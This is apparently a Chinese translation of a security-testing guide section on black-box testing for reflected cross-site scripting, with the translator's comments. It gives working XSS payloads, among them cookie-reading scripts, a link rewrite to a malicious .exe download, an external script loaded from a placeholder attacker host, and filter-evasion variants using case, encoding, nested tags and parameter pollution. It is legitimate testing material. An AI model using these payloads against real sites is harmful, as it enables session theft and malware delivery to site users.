How to test
黑盒测试
黑盒测试至少包括3个阶段:
寻找输入
对于每个网页,测试者要确认所有web应用中用户定义的变量,以及如何输入它们。这包括隐藏的输入,比如http参数、post数据、表单的隐藏字段和预定义的值。通常,用浏览器自带的html编译器或web代理来查看隐藏变量。
分析输入
分析每个输入以检测潜在漏洞。为了检测xss漏洞,测试者通常使用特定构建的输入数据。这类输入一般是无害的,但能触发此漏洞。测试数据能够用web应用fuzzer产生,或手动生成。这种输入的一些例子如下:
- <script>alert(123)</script>
- “><script>alert(document.cookie)</script>
更多请看XSS Filter Evasion Cheat Sheet
检测影响
在每次测试输入时,测试者将分析结果并确认是否存在漏洞(对网站安全存在实际影响)。这要求检测网站最终的页面,以及搜索测试的输入。一旦找到,测试人员会识别出未正确编码,替换或过滤掉的任何特殊字符。未过滤的字符集取决于html中该部分的上下文。
理想情况下,所有html特殊字符会被替换成html实体。主要的html实体如下:
- > (greater than)
- < (less than)
- & (ampersand)
- ’ (apostrophe or single quote)
- " (double quote)
但是,HTML和XML规范定义了实体的完整列表。Wikipedia has a complete reference.
在html代码或js代码的上下文中,一组不同的特殊字符集需要被转义、编码、替换或者过滤掉。这些字符包括: - \n (new line)
- \r (carriage return)
- ’ (apostrophe or single quote)
- " (double quote)
- \ (backslash)
- \uXXXX (unicode values)
For a more complete reference, see the Mozilla JavaScript guide.
例1
举例,有一个网站,它有个欢迎消息 Welcome %username% 和一个下载链接。
测试者要怀疑每个数据输入点都可能产生xss攻击。为了分析它,测试者会尝试利用用户参数引起xss。
让我们点击以下链接,并查看发生什么。
http://example.com/index.php?user=<script>alert(123)</script>
如果并未被过滤,则结果如下:
这意味着此处存在xss漏洞。
例2
让我们尝试其他代码(链接)
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
结果如下:
点击此链接,会让用户下载文件malicious.exe
xss绕过
The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.
例3:tag属性值
由于过滤器基于黑名单,它们无法组织所有类型的表达式。事实上,许多XSS利用不需要使用<script>标签,甚至不需要使用字符< >和 /
<input type="text" name="state" value="INPUT_FROM_USER">
<input type="text" name="state" value="" onfocus="alert(document.cookie)">
例4:不同语法或编码
在一些情况下,基于特征的过滤器可以被混淆攻击绕过。通常你可以通过插入在语法或编码方面不同的的变量达到此目的。这些变量被浏览器认为是有效的,同时也被过滤器接受。
以下是几个例子:
- "><script >alert(document.cookie)</script >
- "><ScRiPt>alert(document.cookie)</ScRiPt>
- "%3cscript%3ealert(document.cookie)%3c/script%3e
例5:绕过非递归的过滤
过滤有时候仅会被应用一次,而非递归进行。在这种情况下,攻击者可以利用复写进行绕过,就像下面这个:
<scr<script>ipt>alert(document.cookie)</script>
例6:包含外部脚本
现在,假设网站开发者完成以下代码,用来保护输入不包含外部脚本:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
在这种情况下,有个正则表达式检测是否插入 <script[除了>以外的其他字符] src
。这个用来过滤像下面这种的表达式:
<script src="http://attacker/xss.js"></script>
这是一个常规攻击,但在这个情况下,他可能可以在script和src间使用>
绕过此过滤,像这样:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
这将会像之前那样利用xss,执行js代码。
例7:http参数污染(HPP)
其他绕过的方法有http参数污染。这个逃逸技术内容是,用相同名称的多个参数分割攻击向量。每个参数值的操作取决于网站的解析,所以这种方法并不是每次都有效的。如果测试后的环境将所有相同名字的值串联起来,那么攻击者就可以利用这点进行绕过。
常规攻击:
http://example/page.php?param=<script>[...]</script>
使用HPP进行攻击:
http://example/page.php?param=<script¶m=>[...]</¶m=script>
小结
本篇唯一值得看的感觉就是绕过部分,然而绕过部分我接下来也会去翻译XSS Filter Evasion Cheat Sheet。
在实际测试中也需要制作一个测试字典去看看哪些绕过是可用的。
测试方法也是见框即插。